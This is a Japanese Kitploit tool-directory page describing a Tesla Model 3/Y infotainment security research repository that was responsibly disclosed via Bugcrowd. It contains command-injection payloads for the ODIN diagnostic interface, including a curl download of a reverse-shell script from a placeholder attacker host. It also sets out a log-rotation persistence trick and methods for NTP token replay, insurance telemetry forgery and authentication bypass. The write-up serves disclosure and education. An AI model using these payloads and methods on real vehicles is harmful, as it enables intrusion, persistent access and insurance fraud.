Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
tesla-security-research — Tesla Model 3/Y インフォテイメントシステムの脆弱性調査。6件の脆弱性、4件のCVE(CVE-2022-42005 から CVE-2022-42008)。ルートシェル、永続的アクセス、保険テレメトリーのスプーフィング。 | Kitploit
ツール/GitHubGitHub/analyticeth/tesla-security-research
組み込みシステムセキュリティ特権昇格永続化メカニズム脆弱性分析エクスプロイトデータ流出ペネトレーションテストコマンド&コントロールハードウェアとIoTセキュリティ

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
学習と教育
GitHubanalyticeth/tesla-security-research

tesla-security-research

Tesla Model 3/Y インフォテイメントシステムの脆弱性調査。6件の脆弱性、4件のCVE(CVE-2022-42005 から CVE-2022-42008)。ルートシェル、永続的アクセス、保険テレメトリーのスプーフィング。

リポジトリを見る
52ヶ月前未レビュー

Tesla セキュリティ研究

Tesla Model 3/Y インフォテインメントシステム(Intel Atom MCU、Linux 4.14.235)の脆弱性調査。Bugcrowd を通じて Tesla に責任を持って開示されました。

Tesla の ODIN 診断インターフェースのコマンドインジェクション脆弱性 (CVE-2022-42008) を利用して、量産型 Tesla Model 3 で永続的な root アクセスを取得しました。そこから、ファームウェア更新後も持続する永続化手法 (CVE-2022-42005, CVE-2022-42006) や、月額保険料を130ドルから83ドルに直接引き下げた Safety Score 保険テレメトリのなりすまし方法など、さらに5つの脆弱性を発見しました。

ODIN、hermes、Safety Score にわたる6つの脆弱性。4件の CVE。Bugcrowd を通じて報奨金を受け取り、Tesla の SSH セキュリティ研究者プログラムに登録されました。

脆弱性の概要

発見内容CVE影響状態報酬
ODIN を介したルートシェルCVE-2022-42008コマンドインジェクションによるルートシェル修正済み (2021.32.10)Bugcrowd 報奨金
期限切れ ODIN トークンCVE-2022-42007NTP スプーフィングによるトークンリプレイ修正済み (2021.32.10)Bugcrowd 報奨金
Mothership へのアップロード—Tesla サーバーへの任意ファイルアップロードN/A とマーク—
ログバックシェル + DV アクセスCVE-2022-42005, CVE-2022-42006ファームウェア更新後も持続するアクセス修正済みBugcrowd 報奨金
保険テレメトリのなりすまし—なりすました Safety Score による保険料引き下げ修正未確認—
ODIN の融合解除—認証なしで任意の ODIN タスク修正未確認—

アーキテクチャ

The Tesla Model 3/Y infotainment system (Intel Atom MCU) runs a Linux-based OS with several attack surfaces identified during this research:

root@kitploit:~
┌──────────────────────────────────────────────────────────┐
│                  Tesla Model 3 MCU (Intel)               │
│                                                          │
│  ┌────────────┐  ┌──────────────┐  ┌──────────────────┐  │
│  │   ODIN     │  │  QtCarServer │  │  hermes          │  │
│  │            │  │              │  │  (proxy+client)  │  │
│  │  CVE-42008 │  │  prototype_  │  │                  │  │
│  │  (cmd inj) │  │  server      │  │  Uploads to      │  │
│  │            │  │  CVE-42006   │  │  Mothership      │  │
│  │  Report 06 │  │  (data vals) │  │  [Report 03]     │  │
│  │  (is-fused │  │              │  │  [Report 05]     │  │
│  │   bypass)  │  └──────────────┘  └────────┬─────────┘  │
│  └──────┬─────┘                             │            │
│         │        ┌──────────────┐           │            │
│         │        │ svlogd       │           │            │
│         │        │ Log Rotation │           │            │
│         │        │ CVE-42005    │           │            │
│         │        │ (persistence)│           │            │
│         │        └──────────────┘           │            │
└─────────┼───────────────────────────────────┼────────────┘
          │                                   │
    ┌─────┴───────┐                   ┌───────┴──────────┐
    │  Toolbox    │                   │   Mothership     │
    │  API        │                   │   Server         │
    │             │                   │                  │
    │  CVE-42007  │                   │  File uploads    │
    │  (expired   │                   │  Telemetry data  │
    │   tokens)   │                   │                  │
    └─────────────┘                   └──────────────────┘

ルート権限の取得と永続化

完全なレポート: ODIN を介したルートシェル | ログバックシェル + DV アクセス

ODIN 診断インターフェースは TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK というタスクを公開しており、MicTest-Input パラメータ(文字列のリスト)を受け取り、それがそのまま CID_EXEC に渡されて root として実行されます。最低の Toolbox アクセスレベル(tbx-external)を持つ加入者であれば、車両の診断ポートに接続して POST リクエストを送信することでこのタスクをトリガーできます。入力文字列はそのまま実行されるため、攻撃は2つのリクエストで完了します。まず、curl を使ってリバースシェルスクリプトを車両にダウンロードします:

root@kitploit:~
{
    "args": {
        "kw": {
            "MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
        },
        "name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
    },
    "command": "execute"
}

次にそれを実行します:

root@kitploit:~
{
    "args": {
        "kw": {
            "MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
        },
        "name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
    },
    "command": "execute"
}

ルートシェルが確立されると、svlogd のログローテーション設定をハイジャックすることで永続的なアクセスが実現されます。標準の gzip 圧縮コマンドが、ログがローテーションされるたびに log アカウントでバックシェルを開くスクリプトに置き換えられます:

root@kitploit:~
!sh /var/log/wpa_supplicant/gzip.sh -c

設定ファイルは chattr +i で不変にされ、ファームウェア更新後も保持されます。log アカウントは標準の sdv コマンドを使用してデータ値を設定できませんが(dbus が拒否する)、Tesla の休止状態にある prototype_server は、settings.conf で有効にするとすべてのデータ値への無制限の websocket アクセスを提供します。カスタムのシェルスクリプト群(sdv, lv, send.sh)は、このサーバーとやり取りするための websocket クライアントをエミュレートします。

完全な永続化ツールキットは、車両のアクセスコード入力ボックス(タッチスクリーンで車両モデルを長押しすると表示される)を介して制御されます。この入力ボックスは リスナースクリプト によって監視され、バックシェルのオープン、データ値の設定、サービスモードの切り替えなどのコマンドをディスパッチします。

独立した発見事項

期限切れ ODIN トークン + NTP スプーフィング (CVE-2022-42007)

Tesla の ODIN トークン生成エンドポイントは期限切れの tbx-tokens を受け入れ、さらに重要なことに、応答にユーザーの tbx-token も返すため、共有によるトークンの漏洩が可能になります。通常、期限切れの ODIN トークンは車両によって拒否されますが、ARP ベースの傍受 (ntpspoof.py) を使用して車両の NTP タイムソースをスプーフィングすることで、車両は有効期限を過ぎたトークンを受け入れるように騙されます。ゲートウェイは NTP 改ざんを検出しますが (GTW_w149_rtcTimeSetInPast)、この信号に対してアクションは起こしません。

Mothership へのアップロード

車両の証明書 /var/lib/car_creds/ を使用して、ローカルマシンで hermes_proxy サービスを起動し、Tesla の Mothership サーバーへの直接アクセスを提供します。プロファイルバックアップエンドポイント (/vehicles/${VIN}/computer_profile) は、検証なしで任意のファイルアップロードを受け入れます。単一の curl コマンドで任意のファイルを Tesla の本番インフラストラクチャにアップロードできます。Tesla はこの発見を N/A("意図された動作")とマークしました。

保険テレメトリのなりすまし

Tesla の Safety Score システムは、MCU から運転テレメトリを収集し、保険料計算のために Mothership にアップロードします。root アクセスがあれば、完全スコアのテレメトリサンプルをキャプチャし、その protobuf エンコードされた走行距離計の値を hex 編集(telemetry.proto のリバースエンジニアリングされたスキーマを使用)で水増しし、修正したサンプルを再アップロードできます。2つの偽造トリップが Mothership に受け入れられました。そのうちの1つは3.5時間で約2,700マイルを示しており、月額保険料を130ドルから83ドルに直接引き下げました。根本的な問題は、テレメトリが(強化された)APE3 オートパイロットユニットではなく、(ユーザーがアクセス可能な)MCU から発信されることです。Tesla はこの発見に対して報奨金を発行しませんでした。

ODIN 認証バイパス

root アクセスがあれば、偽の is-fused スクリプトを /usr/bin/is-fused にバインドマウントし、ODIN サービスを再起動すると、ODIN はユニットがファクトリー/開発モードであると認識します。この状態では、認証トークンなしで任意の ODIN タスクを実行できます。これには、車の警報を無効にするタスク (PROC_ICE_X_SET-DATA-VALUE)、VIN を消去するタスク (PROC_ICE_X_DEASSOCIATE-PRODUCT-ID)、または潜在的に安全上重要な車両機能を作動させるタスクが含まれます。

ツール

免責事項

この調査は責任あるセキュリティ研究の一環として行われ、Bugcrowd を介して Tesla のバグ報奨金プログラムに報告されました。CVE が割り当てられたすべての脆弱性は、現在のファームウェアバージョンで修正されています。このリポジトリは教育目的のみで公開されています。

この調査の結果、チームは Bugcrowd を通じて金銭的な報奨金を授与され、Tesla の SSH セキュリティ研究者プログラムに登録され、継続的な研究アクセスのための署名付き SSH 証明書を受け取りました。

参考文献

  • CVE-2022-42008 — ODIN を介したルートシェル
  • CVE-2022-42007 — 期限切れ ODIN トークン
  • CVE-2022-42006 — Prototype Server データ値アクセス
  • CVE-2022-42005 — 永続的ログシェル
  • Tesla Hacking: Part 1 — Obtaining Root on a Tesla Model 3
  • Tesla Hacking: Part 2 — Spoofing Tesla Insurance Telemetry Data
  • Tesla Security

研究者

  • Matthew C. Pilsbury
  • Alex Harbuzenko
  • Oleg Kutkov
  • Tristan Rice

研究は SourceHat Labs Inc. の代理として実施されました。

ツールをダウンロード
ツール説明
ntpspoof.pyARP ベースの NTP スプーフィングにより期限切れ ODIN トークンを再生 (Python/scapy)
telemetry.protoTesla Safety Score テレメトリのリバースエンジニアリングされた protobuf スキーマ (34 フィールド)
listen.shアクセスコードボックスコマンドリスナー — タッチスクリーンを介した隠しコマンドインターフェース
sdvprototype_server websocket を介したデータ値の設定
lvprototype_server websocket を介したデータ値の取得
send.shprototype_server 通信のための Websocket フレーム構築